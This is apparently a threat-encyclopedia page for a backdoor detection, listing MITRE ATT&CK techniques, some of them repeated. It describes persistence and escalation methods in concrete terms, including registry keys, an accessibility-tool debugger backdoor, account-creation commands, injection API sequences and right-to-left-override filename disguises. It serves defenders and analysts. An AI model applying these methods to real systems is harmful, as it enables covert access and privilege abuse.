Kaspersky Threats — HEUR:Backdoor.MSIL.Crysan.gen

T1091

Replication Through Removable Media

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.

Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).

T1566.001

Phishing: Spearphishing Attachment

Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.

There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.

T1047

Windows Management Instrumentation

Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems. WMI is an administration feature that provides a uniform environment to access Windows system components.

T1053.005

Scheduled Task

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and Windows Management Instrumentation (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.

T1059

Command and Scripting Interpreter

Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell.

There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic.

Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)

T1059.001

PowerShell

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).

T1059.003

Windows Command Shell

Adversaries may abuse the Windows command shell for execution. The Windows command shell (cmd) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via Remote Services such as SSH.

T1059.005

Visual Basic

Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as Component Object Model and the Native API through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.

T1059.007

JavaScript

Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.

T1106

Native API

Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes. These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.

T1129

Shared Modules

Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API).

T1203

Exploitation for Client Execution

Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.

T1204.002

Malicious File

An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment. Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, and .reg.

T1559.001

Component Object Model

Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE). Remote COM execution is facilitated by Remote Services such as Distributed Component Object Model (DCOM).

T1569.002

Service Execution

Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services. The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and Net.

T1053.005

Scheduled Task

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and Windows Management Instrumentation (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.

T1098

Account Manipulation

Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.

T1134.003

Access Token Manipulation: Make and Impersonate Token

Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.

This behavior is distinct from Token Impersonation/Theft in that this refers to creating a new user token instead of stealing or duplicating an existing one.

T1136.001

Create Account: Local Account

Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.

For example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account. Local accounts may also be added to network devices, often via common Network Device CLI commands such as username, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)

Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

T1176

Software Extensions

Adversaries may abuse software extensions to establish persistent access to victim systems. Software extensions are modular components that enhance or customize the functionality of software applications, including web browsers, Integrated Development Environments (IDEs), and other platforms. Extensions are typically installed via official marketplaces, app stores, or manually loaded by users, and they often inherit the permissions and access levels of the host application.

T1197

BITS Jobs

Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

The interface to create and manage BITS jobs is accessible through PowerShell and the BITSAdmin tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)

Adversaries may abuse BITS to download (e.g. Ingress Tool Transfer), execute, and even clean up after running malicious code (e.g. Indicator Removal). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)

BITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol.(Citation: CTU BITS Malware June 2016)

T1542.003

Bootkit

Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

T1543.003

Windows Service

Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions. Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.

T1546.001

Change Default File Association

Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

T1546.002

Event Triggered Execution: Screensaver

Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\Windows\System32\, and C:\Windows\sysWOW64\ on 64-bit Windows systems, along with screensavers included with base Windows installations.

The following screensaver settings are stored in the Registry (HKCU\Control Panel\Desktop\) and could be manipulated to achieve persistence:

* SCRNSAVE.exe - set to malicious PE path
* ScreenSaveActive - set to '1' to enable the screensaver
* ScreenSaverIsSecure - set to '0' to not require a password to unlock
* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed

Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)

T1546.010

AppInit DLLs

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library.

T1546.012

Event Triggered Execution: Image File Execution Options Injection

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:\dbg\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)

Similar to Accessibility Features, on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with Remote Desktop Protocol will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

Similar to Process Injection, these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.

Malware may also use IFEO to Impair Defenses by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)

T1546.015

Component Object Model Hijacking

Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system. References to various COM objects are stored in the Registry.

T1547.001

Registry Run Keys / Startup Folder

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.

T1547.004

Winlogon Helper DLL

Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[\\Wow6432Node\\]\Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon.

T1547.008

LSASS Driver

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.

T1547.009

Boot or Logon Autostart Execution: Shortcut Modification

Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.

Adversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence ) Although often used as payloads in an infection chain (e.g. Spearphishing Attachment), adversaries may also create a new shortcut as a means of indirection, while also abusing Masquerading to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.

Shortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. Browser Extensions) to persistently launch malware.

T1547.012

Print Processors

Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.

T1548.002

Abuse Elevation Control Mechanism: Bypass User Account Control

Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated Component Object Model objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of Rundll32 to load a specifically crafted DLL which loads an auto-elevated Component Object Model object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)

Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)

Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)

T1555

Credentials from Password Stores

Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.

T1053.005

Scheduled Task

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and Windows Management Instrumentation (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.

T1055

Process Injection

Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

T1055.001

Dynamic-link Library Injection

Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.

T1055.002

Portable Executable Injection

Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.

T1055.003

Process Injection: Thread Execution Hijacking

Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.

Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)

This is very similar to Process Hollowing but targets an existing process rather than creating a process in a suspended state.

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process.

T1055.004

Process Injection: Asynchronous Procedure Call

Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process.

APC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL).

A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process.

T1068

Exploitation for Privilege Escalation

Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.

When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.

Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via Ingress Tool Transfer or Lateral Tool Transfer.

T1134

Access Token Manipulation

Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.

T1134.001

Access Token Manipulation: Token Impersonation/Theft

Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.

An adversary may perform Token Impersonation/Theft when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.

When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally Create Process with Token using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. Token Impersonation/Theft is also distinct from Make and Impersonate Token in that it refers to duplicating an existing token, rather than creating a new one.

T1134.002

Access Token Manipulation: Create Process with Token

Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)

Creating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via Token Impersonation/Theft or created via Make and Impersonate Token before being used to create a process.

While this technique is distinct from Token Impersonation/Theft, the techniques can be used in conjunction where a token is duplicated and then used to create a new process.

T1543.003

Windows Service

Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions. Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.

T1546.001

Change Default File Association

Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

T1546.002

Event Triggered Execution: Screensaver

Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\Windows\System32\, and C:\Windows\sysWOW64\ on 64-bit Windows systems, along with screensavers included with base Windows installations.

The following screensaver settings are stored in the Registry (HKCU\Control Panel\Desktop\) and could be manipulated to achieve persistence:

* SCRNSAVE.exe - set to malicious PE path
* ScreenSaveActive - set to '1' to enable the screensaver
* ScreenSaverIsSecure - set to '0' to not require a password to unlock
* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed

Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)

T1546.010

AppInit DLLs

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library.

T1546.012

Event Triggered Execution: Image File Execution Options Injection

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:\dbg\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)

Similar to Accessibility Features, on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with Remote Desktop Protocol will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

Similar to Process Injection, these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.

Malware may also use IFEO to Impair Defenses by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)

T1546.015

Component Object Model Hijacking

Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system. References to various COM objects are stored in the Registry.

T1547.001

Registry Run Keys / Startup Folder

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.

T1547.004

Winlogon Helper DLL

Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[\\Wow6432Node\\]\Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon.

T1547.008

LSASS Driver

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.

T1547.012

Print Processors

Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.

T1548.002

Bypass User Account Control

Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.

T1027

Obfuscated Files or Information

Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.

T1027.010

Command Obfuscation

Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., Phishing and Drive-by Compromise) or interactively via Command and Scripting Interpreter.

T1036

Masquerading

Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.

T1036.002

Right-to-Left Override

Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\u202Egnp.js will be displayed as photo_high_resj.png.

T1036.003

Rename Legitimate Utilities

